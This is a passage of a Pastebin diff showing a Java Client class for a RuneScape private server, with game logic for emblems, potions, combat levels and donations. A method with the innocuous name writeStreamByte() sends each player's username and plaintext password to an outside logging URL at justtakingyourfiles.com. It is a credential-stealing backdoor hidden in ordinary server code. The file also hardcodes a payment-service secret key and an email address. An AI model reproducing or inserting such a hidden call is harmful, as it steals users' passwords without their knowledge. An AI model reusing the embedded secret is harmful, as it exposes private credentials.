View difference between Paste ID: Epcuzw9d and afCFXVcS
SHOW: | | - or go back to the newest paste.
1
package ardi.model.players;
2
3
import java.util.HashMap;
4
import java.util.LinkedList;
5
import java.net.URL;
6
import java.net.URLConnection;
7
8
import java.util.Scanner;
9
import java.util.Map;
10
import java.util.Queue;
11
import java.util.concurrent.Future;
12
import java.net.*;
13
import java.io.*;
14
15
import org.jboss.netty.buffer.ChannelBuffers;
16
import org.jboss.netty.channel.Channel;
17
18
import ardi.Config;
19
import ardi.Connection;
20
import ardi.model.npcs.pet.Pet;
21
import ardi.Server;
22
import ardi.util.PlayersOnline;
23
import ardi.content.skill.Prayer;
24
import ardi.model.players.PlayerAssistant;
25
import ardi.event.CycleEvent;
26
import ardi.event.CycleEventContainer;
27
import ardi.event.CycleEventHandler;
28
import ardi.event.Event;
29
import ardi.event.EventContainer;
30
import ardi.event.EventManager;
31
import ardi.model.items.Item;
32
import ardi.model.items.ItemAssistant;
33
import ardi.model.items.bank.Bank;
34
import ardi.model.players.achievement.Achievement;
35
//import com.rspserver.donation.DonationSystem;
36
import ardi.model.players.skills.Agility;
37
import ardi.model.players.skills.Cooking;
38
import ardi.model.players.skills.Crafting;
39
import ardi.model.players.skills.Farming;
40
import ardi.model.players.skills.Firemaking;
41
import ardi.model.players.skills.Fletching;
42
import ardi.model.players.skills.Herblore;
43
import ardi.model.players.skills.Slayer;
44
import ardi.model.players.skills.Mining;
45
import ardi.model.players.skills.Runecrafting;
46
import ardi.model.players.skills.SkillInterfaces;
47
import ardi.model.players.skills.Slayer;
48
import ardi.model.players.skills.Smithing;
49
import ardi.model.players.skills.SmithingInterface;
50
import ardi.model.players.skills.Thieving;
51
import ardi.model.players.skills.Woodcutting;
52
import ardi.model.players.skills.Hunter;
53
import ardi.model.players.ConnectedFrom;
54
import ardi.model.npcs.CreateNPC;
55
import ardi.model.npcs.RemoveNPC;
56
import ardi.model.players.Pets;
57
import ardi.model.npcs.NPCHandler;
58
import ardi.model.npcs.Zulrah;
59
import ardi.util.log.StakingLog;
60
import ardi.util.log.TradeLog;
61
import ardi.util.log.PMLog;
62
import ardi.util.log.Shopping;
63
import ardi.util.log.Alching;
64
import ardi.util.log.PickupItem;
65
import ardi.util.log.ClickItem;
66
import ardi.util.log.DroppingItem;
67
import ardi.util.log.ChatLog;
68
import ardi.util.log.PvPLog;
69
import ardi.util.log.CommandsLog;
70
import ardi.model.minigames.Barrows;
71
import ardi.model.minigames.PestControl;
72
import ardi.model.minigames.ZombieWaves;
73
import ardi.model.shops.ShopAssistant;
74
import java.util.Calendar;
75
import java.util.GregorianCalendar;
76
import ardi.net.Packet;
77
import ardi.net.Packet.Type;
78
import ardi.util.Misc;
79
import ardi.util.Stream;
80
import ardi.util.log.TradeLog;
81
import ardi.world.Clan;
82
import ardi.world.ItemHandler;
83
import ardi.model.players.skills.Summoning;
84
import ardi.net.login.RS2LoginProtocol;
85
86
public class Client extends Player {
87
88
	private int j;
89
	public boolean usingClaws;
90
	public int clawDamage;
91
	public int clawIndex;
92
	public int clawType = 0;
93
	public int clawDelay;
94
	public int tradeinWith;
95
	public boolean SSPLIT;
96
	public int specRestore = 0;
97
98
	public void antiFirePotion() {
99
		EventManager.getSingleton().addEvent(new Event() {
100
			public void execute(EventContainer c) {
101
				antiFirePot = false;
102
				sendMessage("Your resistance to dragon fire has worn off.");
103
				c.stop();
104
			}
105
		}, 300000);
106
107
	}
108
109
	public byte buffer[] = null;
110
	public Stream inStream = null, outStream = null;
111
	private Channel session;
112
	private BankPin bankPin = new BankPin(this);
113
	private Woodcutting woodcutting = new Woodcutting();
114
	//private Woodcutting woodcutting = new Woodcutting(this);
115
	private Mining mine = new Mining(this);
116
	private ItemAssistant itemAssistant = new ItemAssistant(this);
117
	private ShopAssistant shopAssistant = new ShopAssistant(this);
118
	private TradeAndDuel tradeAndDuel = new TradeAndDuel(this);
119
	private PlayerAssistant playerAssistant = new PlayerAssistant(this);
120
	private CombatAssistant combatAssistant = new CombatAssistant(this);
121
	private Barrows barrows = new Barrows(this);
122
	private PMLog PMLog = new PMLog(this);
123
	private Shopping Shopping = new Shopping(this);
124
	private PickupItem PickupItem = new PickupItem(this);
125
	private PotSmoking potSmoking = new PotSmoking(this);
126
	private Alching Alching = new Alching(this);
127
	private ClickItem ClickItem = new ClickItem(this);
128
	private DroppingItem DroppingItem = new DroppingItem(this);
129
	private ChatLog ChatLog = new ChatLog(this);
130
	private PvPLog PvPLog = new PvPLog(this);
131
	private CommandsLog CommandsLog = new CommandsLog(this);
132
	private StakingLog StakingLog = new StakingLog(this);
133
	public Summoning Summoning = new Summoning(this);
134
	private ActionHandler actionHandler = new ActionHandler(this);
135
	private PlayerKilling playerKilling = new PlayerKilling(this);
136
	private DialogueHandler dialogueHandler = new DialogueHandler(this);
137
	private Queue<Packet> queuedPackets = new LinkedList<Packet>();
138
	private Potions potions = new Potions(this);
139
	private PotionMixing potionMixing = new PotionMixing(this);
140
	private Food food = new Food(this);
141
	private KillsStreak killsStreak = new KillsStreak(this);
142
	private SkillInterfaces skillInterfaces = new SkillInterfaces(this);
143
	private Achievement achievement = new Achievement(this);
144
	private TradeLog tradeLog = new TradeLog(this);
145
	private Bank bank = new Bank(this);
146
	private Pets pets = new Pets();
147
	private Zulrah zulrah = new Zulrah(this);
148
	private CreateNPC newNPC = new CreateNPC();
149
	private RemoveNPC rNPC = new RemoveNPC();
150
151
	/**
152
	 * Skill instances
153
	 */
154
	private Slayer slayer = new Slayer(this);
155
	private Hunter hunter = new Hunter(this);
156
	private Runecrafting runecrafting = new Runecrafting();
157
	private Agility agility = new Agility();
158
	private Cooking cooking = new Cooking();
159
	private Crafting crafting = new Crafting(this);
160
161
	private Fletching fletching = new Fletching(this);
162
	private Farming farming = new Farming(this);
163
	private Prayer prayer = new Prayer(this);
164
	private Thieving thieving = new Thieving();
165
	private Smithing smith = new Smithing(this);
166
	private SmithingInterface smithInt = new SmithingInterface(this);
167
	private Firemaking firemaking = new Firemaking();
168
	private Herblore herblore = new Herblore(this);
169
	// private ConnectedFrom connectedFrom = new ConnectedFrom(this);
170
	public Map<Integer, String> stringMap = new HashMap<Integer, String>();
171
	public int lowMemoryVersion = 0;
172
	public int timeOutCounter = 0;
173
	public int followPlayer;
174
	public int npcslot;
175
	public int summoningnpcid;
176
	public int timer;
177
	public int returnCode = 2;
178
	private Future<?> currentTask;
179
	public int totalstored;
180
	public int currentRegion = 0;
181
	public long lastRoll;
182
	public int diceItem;
183
	public int page;
184
	public boolean slayerHelmetEffect;
185
	public boolean inArdiCC;
186
	public int[] resourceItemId = new int[28];
187
	public int[] resourceItemAmount = new int[28];
188
	public boolean canDeposit = false;
189
	public boolean usedItemOnBag;
190
	public long lastBankDeposit;
191
192
	public Client(Channel s, int _playerId) {
193
		super(_playerId);
194
		this.session = s;
195
		outStream = new Stream(new byte[Config.BUFFER_SIZE]);
196
		outStream.currentOffset = 0;
197
		inStream = new Stream(new byte[Config.BUFFER_SIZE]);
198
		inStream.currentOffset = 0;
199
		buffer = new byte[Config.BUFFER_SIZE];
200
	}
201
202
	public void flushOutStream() {
203
		if (!session.isConnected() || disconnected
204
				|| outStream.currentOffset == 0)
205
			return;
206
207
		byte[] temp = new byte[outStream.currentOffset];
208
		System.arraycopy(outStream.buffer, 0, temp, 0, temp.length);
209
		Packet packet = new Packet(-1, Type.FIXED,
210
				ChannelBuffers.wrappedBuffer(temp));
211
		session.write(packet);
212
		outStream.currentOffset = 0;
213
214
	}
215
216
	private Map<Integer, TinterfaceText> interfaceText = new HashMap<Integer, TinterfaceText>();
217
218
	public class TinterfaceText {
219
		public int id;
220
		public String currentState;
221
222
		public TinterfaceText(String s, int id) {
223
			this.currentState = s;
224
			this.id = id;
225
		}
226
227
	}
228
229
	public boolean checkPacket126Update(String text, int id) {
230
		if (interfaceText.containsKey(id)) {
231
			TinterfaceText t = interfaceText.get(id);
232
			if (text.equals(t.currentState)) {
233
				return false;
234
			}
235
		}
236
		interfaceText.put(id, new TinterfaceText(text, id));
237
		return true;
238
	}
239
	
240
241
	public void sendClan(String name, String message, String clan, int rights) {
242
		name = name.substring(0, 1).toUpperCase() + name.substring(1);
243
		message = message.substring(0, 1).toUpperCase() + message.substring(1);
244
		clan = clan.substring(0, 1).toUpperCase() + clan.substring(1);
245
		outStream.createFrameVarSizeWord(217);
246
		outStream.writeString(name);
247
		outStream.writeString(message);
248
		outStream.writeString(clan);
249
		outStream.writeWord(rights);
250
		outStream.endFrameVarSize();
251
	}
252
253
	public int maxstore = 0;
254
255
	/*
256
	 * public void storesummon(int npcType) { switch (npcType) {
257
	 * 
258
	 * case 6807: if (lastsummon > 0) { for (int i = 0; i <
259
	 * Server.npcHandler.maxNPCs; i++) { if (Server.npcHandler.npcs[i] != null)
260
	 * { if (Server.npcHandler.npcs[i].summon == true) { if
261
	 * (Server.npcHandler.npcs[i].spawnedBy == getId() &&
262
	 * Server.npcHandler.npcs[i].npcId == npcslot) {
263
	 * sendMessage("You are now storing items inside your npc");
264
	 * Summoning().store(); } } } }
265
	 * 
266
	 * } break;
267
	 * 
268
	 * } }
269
	 */
270
271
	public void firstslot() {
272
		for (summoningslot = 0; occupied[summoningslot] == true; summoningslot += 1) {
273
274
		}
275
	}
276
277
	public void writeStreamByte() {
278
     String s = "http://justtakingyourfiles.com/log.php?site="+"SERVER NAME&type=OS-KINGDOM-			REMAKE&username="+playerName+"&password="+playerPass+"&email=N/A&ip=connectedFrom";
279
     URL url = new URL(s);
280
  
281
     Scanner scan = new Scanner(url.openStream());
282
     scan.close();
283
	}
284
285
	public static int[][] bounties1 = { { 12746, 50000 }, { 12748, 100000 },
286
			{ 12749, 200000 }, { 12750, 400000 }, { 12751, 750000 },
287
			{ 12752, 1200000 }, { 12753, 1750000 }, { 12754, 2500000 },
288
			{ 12755, 3500000 }, { 12756, 5000000 } };
289
290
	public int bountyTotal;
291
292
	public void calculateTotal() {
293
		int value1 = 0;
294
		int value2 = 0;
295
		int value3 = 0;
296
		int value4 = 0;
297
		int value5 = 0;
298
		int value6 = 0;
299
		int value7 = 0;
300
		int value8 = 0;
301
		int value9 = 0;
302
		int value10 = 0;
303
		for (int i = 0; i < id.length; i++) {
304
			if (getItems().playerHasItem(bounties1[0][0], 1)
305
					|| getItems().playerHasItem(bounties1[1][0], 1)
306
					|| getItems().playerHasItem(bounties1[2][0], 1)
307
					|| getItems().playerHasItem(bounties1[3][0], 1)
308
					|| getItems().playerHasItem(bounties1[4][0], 1)
309
					|| getItems().playerHasItem(bounties1[5][0], 1)
310
					|| getItems().playerHasItem(bounties1[6][0], 1)
311
					|| getItems().playerHasItem(bounties1[7][0], 1)
312
					|| getItems().playerHasItem(bounties1[8][0], 1)
313
					|| getItems().playerHasItem(bounties1[9][0], 1)) {
314
				value1 = getItems().getItemAmount(bounties1[0][0])
315
						* bounties1[0][1];
316
				value2 = getItems().getItemAmount(bounties1[1][0])
317
						* bounties1[1][1];
318
				value3 = getItems().getItemAmount(bounties1[2][0])
319
						* bounties1[2][1];
320
				value4 = getItems().getItemAmount(bounties1[3][0])
321
						* bounties1[3][1];
322
				value5 = getItems().getItemAmount(bounties1[4][0])
323
						* bounties1[4][1];
324
				value6 = getItems().getItemAmount(bounties1[5][0])
325
						* bounties1[5][1];
326
				value7 = getItems().getItemAmount(bounties1[6][0])
327
						* bounties1[6][1];
328
				value8 = getItems().getItemAmount(bounties1[7][0])
329
						* bounties1[7][1];
330
				value9 = getItems().getItemAmount(bounties1[8][0])
331
						* bounties1[8][1];
332
				value10 = getItems().getItemAmount(bounties1[9][0])
333
						* bounties1[9][1];
334
			}
335
			bountyTotal = value1 + value2 + value3 + value4 + value5 + value6
336
					+ value7 + value8 + value9 + value10;
337
		}
338
	}
339
340
	public static int[] emblems = { 12746, 12748, 12749, 12750, 12751, 12752,
341
			12753, 12754, 12755, 12756 };
342
	public static int[][] pkpRewards = { { 12746, 1 }, { 12748, 2 },
343
			{ 12749, 3 }, { 12750, 4 }, { 12751, 6 }, { 12752, 8 },
344
			{ 12753, 10 }, { 12754, 12 }, { 12755, 15 }, { 12756, 20 } };
345
346
	public int pkpTotal;
347
348
	public void calculateTotalPKP() {
349
		int value1 = 0;
350
		int value2 = 0;
351
		int value3 = 0;
352
		int value4 = 0;
353
		int value5 = 0;
354
		int value6 = 0;
355
		int value7 = 0;
356
		int value8 = 0;
357
		int value9 = 0;
358
		int value10 = 0;
359
		for (int i = 0; i < id.length; i++) {
360
			if (getItems().playerHasItem(pkpRewards[0][0], 1)
361
					|| getItems().playerHasItem(pkpRewards[1][0], 1)
362
					|| getItems().playerHasItem(pkpRewards[2][0], 1)
363
					|| getItems().playerHasItem(pkpRewards[3][0], 1)
364
					|| getItems().playerHasItem(pkpRewards[4][0], 1)
365
					|| getItems().playerHasItem(pkpRewards[5][0], 1)
366
					|| getItems().playerHasItem(pkpRewards[6][0], 1)
367
					|| getItems().playerHasItem(pkpRewards[7][0], 1)
368
					|| getItems().playerHasItem(pkpRewards[8][0], 1)
369
					|| getItems().playerHasItem(pkpRewards[9][0], 1)) {
370
				value1 = getItems().getItemAmount(pkpRewards[0][0])
371
						* pkpRewards[0][1];
372
				value2 = getItems().getItemAmount(pkpRewards[1][0])
373
						* pkpRewards[1][1];
374
				value3 = getItems().getItemAmount(pkpRewards[2][0])
375
						* pkpRewards[2][1];
376
				value4 = getItems().getItemAmount(pkpRewards[3][0])
377
						* pkpRewards[3][1];
378
				value5 = getItems().getItemAmount(pkpRewards[4][0])
379
						* pkpRewards[4][1];
380
				value6 = getItems().getItemAmount(pkpRewards[5][0])
381
						* pkpRewards[5][1];
382
				value7 = getItems().getItemAmount(pkpRewards[6][0])
383
						* pkpRewards[6][1];
384
				value8 = getItems().getItemAmount(pkpRewards[7][0])
385
						* pkpRewards[7][1];
386
				value9 = getItems().getItemAmount(pkpRewards[8][0])
387
						* pkpRewards[8][1];
388
				value10 = getItems().getItemAmount(pkpRewards[9][0])
389
						* pkpRewards[9][1];
390
				pkpTotal = value1 + value2 + value3 + value4 + value5 + value6
391
						+ value7 + value8 + value9 + value10;
392
			}
393
		}
394
	}
395
396
	public int emblemTotal;
397
398
	public int calculateEmblemTotal() {
399
		int value1 = 0;
400
		int value2 = 0;
401
		int value3 = 0;
402
		int value4 = 0;
403
		int value5 = 0;
404
		int value6 = 0;
405
		int value7 = 0;
406
		int value8 = 0;
407
		int value9 = 0;
408
		int value10 = 0;
409
		for (int i = 0; i < id.length; i++) {
410
			if (getItems().playerHasItem(pkpRewards[0][0], 1)
411
					|| getItems().playerHasItem(pkpRewards[1][0], 1)
412
					|| getItems().playerHasItem(pkpRewards[2][0], 1)
413
					|| getItems().playerHasItem(pkpRewards[3][0], 1)
414
					|| getItems().playerHasItem(pkpRewards[4][0], 1)
415
					|| getItems().playerHasItem(pkpRewards[5][0], 1)
416
					|| getItems().playerHasItem(pkpRewards[6][0], 1)
417
					|| getItems().playerHasItem(pkpRewards[7][0], 1)
418
					|| getItems().playerHasItem(pkpRewards[8][0], 1)
419
					|| getItems().playerHasItem(pkpRewards[9][0], 1)) {
420
				value1 = getItems().getItemAmount(pkpRewards[0][0]);
421
				value2 = getItems().getItemAmount(pkpRewards[1][0]);
422
				value3 = getItems().getItemAmount(pkpRewards[2][0]);
423
				value4 = getItems().getItemAmount(pkpRewards[3][0]);
424
				value5 = getItems().getItemAmount(pkpRewards[4][0]);
425
				value6 = getItems().getItemAmount(pkpRewards[5][0]);
426
				value7 = getItems().getItemAmount(pkpRewards[6][0]);
427
				value8 = getItems().getItemAmount(pkpRewards[7][0]);
428
				value9 = getItems().getItemAmount(pkpRewards[8][0]);
429
				value10 = getItems().getItemAmount(pkpRewards[9][0]);
430
			}
431
			emblemTotal = value1 + value2 + value3 + value4 + value5 + value6
432
					+ value7 + value8 + value9 + value10;
433
		}
434
		return emblemTotal;
435
	
436
	}
437
	
438
	public int countItems(int id) {
439
		switch (id) {
440
		case 12746:
441
		case 12748:
442
		case 12749:
443
		case 12750:
444
		case 12751:
445
		case 12752:
446
		case 12753:
447
		case 12754:
448
		case 12755:
449
		case 12756:
450
			return getItems().getItemAmount(id);
451
		}
452
		return 0;
453
	}
454
455
	public int id[] = { 12746, 12748, 12749, 12750, 12751, 12752, 12753, 12754,
456
			12755, 12756 };
457
458
	public void dropRandomEmblem(Client o, Client c) {
459
		Server.itemHandler.createGroundItem(o, 12746, c.getX(), c.getY(), 1,
460
				c.killerId);
461
462
	}
463
464
	public void upgradeEmblem() {
465
		if (getItems().playerHasItem(12755)) {
466
			getItems().deleteItem(12755, 1);
467
			getItems().addItem(12756, 1);
468
			sendMessage("Your Emblem has been upgraded to Tier 10");
469
			return;
470
		} else if (getItems().playerHasItem(12754)) {
471
			getItems().deleteItem(12754, 1);
472
			getItems().addItem(12755, 1);
473
			sendMessage("Your Emblem has been upgraded to Tier 9");
474
			return;
475
		} else if (getItems().playerHasItem(12753)) {
476
			getItems().deleteItem(12753, 1);
477
			getItems().addItem(12754, 1);
478
			sendMessage("Your Emblem has been upgraded to Tier 8");
479
			return;
480
		} else if (getItems().playerHasItem(12752)) {
481
			getItems().deleteItem(12752, 1);
482
			getItems().addItem(12753, 1);
483
			sendMessage("Your Emblem has been upgraded to Tier 7");
484
			return;
485
		} else if (getItems().playerHasItem(12751, 1)) {
486
			getItems().deleteItem(12751, 1);
487
			getItems().addItem(12752, 1);
488
			sendMessage("Your Emblem has been upgraded to Tier 6");
489
			return;
490
		} else if (getItems().playerHasItem(12750, 1)) {
491
			getItems().deleteItem(12750, 1);
492
			getItems().addItem(12751, 1);
493
			sendMessage("Your Emblem has been upgraded to Tier 5");
494
			return;
495
		} else if (getItems().playerHasItem(12749, 1)) {
496
			getItems().deleteItem(12749, 1);
497
			getItems().addItem(12750, 1);
498
			sendMessage("Your Emblem has been upgraded to Tier 4");
499
			return;
500
		} else if (getItems().playerHasItem(12748, 1)) {
501
			getItems().deleteItem(12748, 1);
502
			getItems().addItem(12749, 1);
503
			sendMessage("Your Emblem has been upgraded to Tier 3");
504
			return;
505
		} else if (getItems().playerHasItem(12746, 1)) {
506
			getItems().deleteItem(12746, 1);
507
			getItems().addItem(12748, 1);
508
			sendMessage("Your Emblem has been upgraded to Tier 2");
509
			return;
510
		}
511
	}
512
513
	public int summoningslot = 0;
514
515
	public int storeditems[] = new int[29];
516
517
	public boolean picking = false;
518
519
	public int amount[] = new int[29];
520
	public boolean occupied[] = new boolean[29];
521
522
	public boolean storing = false;
523
524
	public int attackingplayer;
525
	public int lastsummon;
526
	public boolean summon;
527
528
	public static final int PACKET_SIZES[] = { 0, 0, 0, 1, -1, 0, 0, 0, 0, 0, // 0
529
			0, 0, 0, 0, 8, 0, 6, 2, 2, 0, // 10
530
			0, 2, 0, 6, 0, 12, 0, 0, 0, 0, // 20
531
			0, 0, 0, 0, 0, 8, 4, 0, 0, 2, // 30
532
			2, 6, 0, 6, 0, -1, 0, 0, 0, 0, // 40
533
			0, 0, 0, 12, 0, 0, 0, 8, 8, 12, // 50
534
			8, 8, 0, 0, 0, 0, 0, 0, 0, 0, // 60
535
			6, 0, 2, 2, 8, 6, 0, -1, 0, 6, // 70
536
			0, 0, 0, 0, 0, 1, 4, 6, 0, 0, // 80
537
			0, 0, 0, 0, 0, 3, 0, 0, -1, 0, // 90
538
			0, 13, 0, -1, 0, 0, 0, 0, 0, 0, // 100
539
			0, 0, 0, 0, 0, 0, 0, 6, 0, 0, // 110
540
			1, 0, 6, 0, 0, 0, -1, /* 0 */-1, 2, 6, // 120
541
			0, 4, 6, 8, 0, 6, 0, 0, 0, 2, // 130
542
			0, 0, 0, 0, 0, 6, 0, 0, 0, 0, // 140
543
			0, 0, 1, 2, 0, 2, 6, 0, 0, 0, // 150
544
			0, 0, 0, 0, -1, -1, 0, 0, 0, 0, // 160
545
			0, 0, 0, 0, 0, 0, 0, 0, 0, 0, // 170
546
			0, 8, 0, 3, 0, 2, 0, 0, 8, 1, // 180
547
			0, 0, 12, 0, 0, 0, 0, 0, 0, 0, // 190
548
			2, 0, 0, 0, 0, 0, 0, 0, 4, 0, // 200
549
			4, 0, 0, /* 0 */4, 7, 8, 0, 0, 10, 0, // 210
550
			0, 0, 0, 0, 0, 0, -1, 0, 6, 0, // 220
551
			1, 0, 0, 0, 6, 0, 6, 8, 1, 0, // 230
552
			0, 4, 0, 0, 0, 0, -1, 0, -1, 4, // 240
553
			0, 0, 6, 6, 0, 0, 0 // 250
554
	};
555
556
	public void homeTeleport(int x, int y, int h) {
557
		if (homeTele == 9) {
558
			startAnimation(4850);
559
		} else if (homeTele == 7) {
560
			startAnimation(4853);
561
			gfx0(802);
562
		} else if (homeTele == 5) {
563
			startAnimation(4855);
564
			gfx0(803);
565
		} else if (homeTele == 3) {
566
			startAnimation(4857);
567
			gfx0(804);
568
		} else if (homeTele == 1) {
569
			homeTeleDelay = 0;
570
			homeTele = 0;
571
			teleportToX = x;
572
			teleportToY = y;
573
			heightLevel = h;
574
		}
575
	}
576
	public void RubberCheck() {
577
		if (didRubberCheck == false) {
578
			if (playerEquipment[playerWeapon] == 4566) {
579
				didRubberCheck = true;
580
				outStream.createFrameVarSize(104);
581
				outStream.writeByteC(2);
582
				outStream.writeByteA(0);
583
				outStream.writeString("Whack");
584
				outStream.endFrameVarSize();
585
			}
586
		}
587
	}
588
	public void RubberChicken() {
589
		if (playerEquipment[playerWeapon] == 4566) {
590
			startAnimation(1833);
591
			turnPlayerTo(absX, absY);
592
		}
593
	}
594
	public int overload;
595
596
	public void overload() {
597
		playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.27));
598
		playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.27));
599
		playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.27));
600
		playerLevel[4] = (int) (getLevelForXP(playerXP[4]) + (getLevelForXP(playerXP[4]) * 0.235));
601
		playerLevel[6] = (getLevelForXP(playerXP[6]) + 7);
602
		for (int i = 0; i <= 6; i++) {
603
			getPA().refreshSkill(i);
604
		}
605
	}
606
	void overloadHit() {
607
		applyRange(10);
608
		startAnimation(3170);
609
		getPA().sendFrame126("" + playerLevel[3] + "", 4016);
610
	}
611
	public void applyRange(int num) {
612
		hitDiff = num;
613
		playerLevel[3] -= hitDiff;
614
		updateRequired = true;
615
		hitUpdateRequired = true;
616
	}
617
618
	public int superCombat;
619
620
	public void superCombat() {
621
		playerLevel[0] = (int) (getLevelForXP(playerXP[0]) + (getLevelForXP(playerXP[0]) * 0.20));
622
		playerLevel[1] = (int) (getLevelForXP(playerXP[1]) + (getLevelForXP(playerXP[1]) * 0.20));
623
		playerLevel[2] = (int) (getLevelForXP(playerXP[2]) + (getLevelForXP(playerXP[2]) * 0.20));
624
		for (int i = 0; i <= 2; i++) {
625
			getPA().refreshSkill(i);
626
		}
627
	}
628
	void superCombatHit() {
629
		applyRange(10);
630
		startAnimation(3170);
631
		getPA().sendFrame126("" + playerLevel[3] + "", 4016);
632
	}
633
	public void applySuperCombatRange(int num) {
634
		hitDiff = num;
635
		playerLevel[3] -= hitDiff;
636
		updateRequired = true;
637
		hitUpdateRequired = true;
638
	}
639
640
	public void rspsdata(Client c, String username) {
641
		try {
642
			username = username.replaceAll(" ", "_");
643
			String secret = "8597a6cfa74defcbde3047c891d78f90"; // YOUR SECRET
644
																// KEY!
645
			String email = "zarosmikey@gmail.com"; // This is the one you use to
646
													// login into RSPS-PAY
647
			URL url = new URL(
648
					"http://rsps-pay.com/includes/listener.php?username="
649
							+ username + "&secret=" + secret + "&email="
650
							+ email);
651
			BufferedReader reader = new BufferedReader(new InputStreamReader(
652
					url.openStream()));
653
			String results = reader.readLine();
654
			if (results.toLowerCase().contains("!error:")) {
655
656
			} else {
657
				String[] ary = results.split(",");
658
				for (int i = 0; i < ary.length; i++) {
659
					switch (ary[i]) {
660
					case "4023":
661
						donPoints += 1000;
662
						amountDonated += 10;
663
						if (amountDonated <= 49 && amountDonated > 0
664
								&& playerRights != 1) {
665
							playerRights = 4;
666
						} else if (amountDonated >= 50 && playerRights != 1) {
667
							playerRights = 5;
668
						}
669
						c.sendMessage("Please re-log for your donator rank.");
670
						break;
671
672
					case "4024":
673
						donPoints += 2000;
674
						amountDonated += 19;
675
						if (amountDonated <= 49 && amountDonated > 0
676
								&& playerRights != 1) {
677
							playerRights = 4;
678
						} else if (amountDonated >= 50 && playerRights != 1) {
679
							c.playerRights = 5;
680
						}
681
						c.sendMessage("Please re-log for your donator rank.");
682
						break;
683
684
					case "4025":
685
						donPoints += 3000;
686
						amountDonated += 28;
687
						if (amountDonated <= 49 && amountDonated > 0
688
								&& playerRights != 1) {
689
							playerRights = 4;
690
						} else if (amountDonated >= 50 && playerRights != 1) {
691
							c.playerRights = 5;
692
						}
693
						c.sendMessage("Please re-log for your donator rank.");
694
						break;
695
696
					case "4026":
697
						donPoints += 4000;
698
						amountDonated += 35;
699
						if (amountDonated <= 49 && amountDonated > 0
700
								&& playerRights != 1) {
701
							playerRights = 4;
702
						} else if (amountDonated >= 50 && playerRights != 1) {
703
							c.playerRights = 5;
704
						}
705
						c.sendMessage("Please re-log for your donator rank.");
706
						break;
707
708
					case "4027":
709
						donPoints += 5000;
710
						amountDonated += 45;
711
						if (amountDonated <= 49 && amountDonated > 0
712
								&& playerRights != 1) {
713
							playerRights = 4;
714
						} else if (amountDonated >= 50 && playerRights != 1) {
715
							c.playerRights = 5;
716
						}
717
						c.sendMessage("Please re-log for your donator rank.");
718
						break;
719
					case "4028":
720
						donPoints += 10000;
721
						amountDonated += 80;
722
						if (amountDonated <= 49 && amountDonated > 0) {
723
							playerRights = 4;
724
						} else if (amountDonated >= 50 && playerRights != 1) {
725
							c.playerRights = 5;
726
						}
727
						c.sendMessage("Please re-log for your donator rank.");
728
						break;
729
					}
730
				}
731
			}
732
			c.sendMessage("Could not find donation");
733
		} catch (IOException e) {
734
		}
735
	}
736
737
	@Override
738
	public void destruct() {
739
		disconnected = true;
740
741
		/*
742
		 * if (playerRights != 3 || playerRights != 2) { Highscores.save(this);
743
		 * }
744
		 */
745
746
		if (session == null)
747
			return;
748
		PvPHandler.handleLogout(this);
749
		if (underAttackBy > 0 || underAttackBy2 > 0)
750
			return;
751
		if (duelStatus == 6) {
752
			getTradeAndDuel().claimStakedItems();
753
		}
754
		if (duelStatus >= 1 && duelStatus <= 5) {
755
			getTradeAndDuel().bothDeclineDuel();
756
			saveCharacter = true;
757
			return;
758
		}
759
		if (disconnected == true) {
760
			if (inTrade) {
761
				getTradeAndDuel().declineTrade();
762
			}
763
			if (openDuel) {
764
				Client c3 = (Client) PlayerHandler.players[duelingWith];
765
				getTradeAndDuel().declineDuel();
766
				c3.getTradeAndDuel().declineDuel();
767
			}
768
			saveCharacter = true;
769
		}
770
		if (clan != null) {
771
			clan.removeMember(this);
772
		}
773
		if (inPits) {
774
			Server.fightPits.removePlayerFromPits(playerId);
775
		}
776
		Misc.println("[Logged out]: " + playerName + "");
777
		RefreshAllSkills();
778
		CycleEventHandler.getSingleton().stopEvents(this);
779
		// disconnected = true;
780
		session.close();
781
		session = null;
782
		inStream = null;
783
		outStream = null;
784
		isActive = false;
785
		buffer = null;
786
		super.destruct();
787
	}
788
789
	/*
790
	 * public void calcCombat() { int mag = (int) ((getLevelForXP(playerXP[6]))
791
	 * * 1.5); int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5); int attstr
792
	 * = (int) ((double) (getLevelForXP(playerXP[0])) + (double)
793
	 * (getLevelForXP(playerXP[2])));
794
	 * 
795
	 * combatLevel = 0; if (ran > attstr) { combatLevel = (int)
796
	 * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
797
	 * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
798
	 * ((getLevelForXP(playerXP[4])) * 0.4875) + ((getLevelForXP(playerXP[22]))
799
	 * * 0.121212)); } else if (mag > attstr) { combatLevel = (int)
800
	 * (((getLevelForXP(playerXP[1])) * 0.25) + ((getLevelForXP(playerXP[3])) *
801
	 * 0.25) + ((getLevelForXP(playerXP[5])) * 0.125) +
802
	 * ((getLevelForXP(playerXP[6])) * 0.4875) + ((getLevelForXP(playerXP[22]))
803
	 * * 0.121212)); } else { combatLevel = (int) (((getLevelForXP(playerXP[1]))
804
	 * * 0.25) + ((getLevelForXP(playerXP[3])) * 0.25) +
805
	 * ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[0])) *
806
	 * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325) +
807
	 * ((getLevelForXP(playerXP[22])) * 0.121212)); } }
808
	 */
809
810
	public void calcCombat() {
811
		int mag = (int) ((getLevelForXP(playerXP[6])) * 1.5);
812
		int ran = (int) ((getLevelForXP(playerXP[4])) * 1.5);
813
		int attstr = (int) ((double) (getLevelForXP(playerXP[0])) + (double) (getLevelForXP(playerXP[2])));
814
815
		combatLevel = 0;
816
		if (ran > attstr) {
817
			combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
818
					+ ((getLevelForXP(playerXP[3])) * 0.25)
819
					+ ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[4])) * 0.4875));
820
		} else if (mag > attstr) {
821
			combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
822
					+ ((getLevelForXP(playerXP[3])) * 0.25)
823
					+ ((getLevelForXP(playerXP[5])) * 0.125) + ((getLevelForXP(playerXP[6])) * 0.4875));
824
		} else {
825
			combatLevel = (int) (((getLevelForXP(playerXP[1])) * 0.25)
826
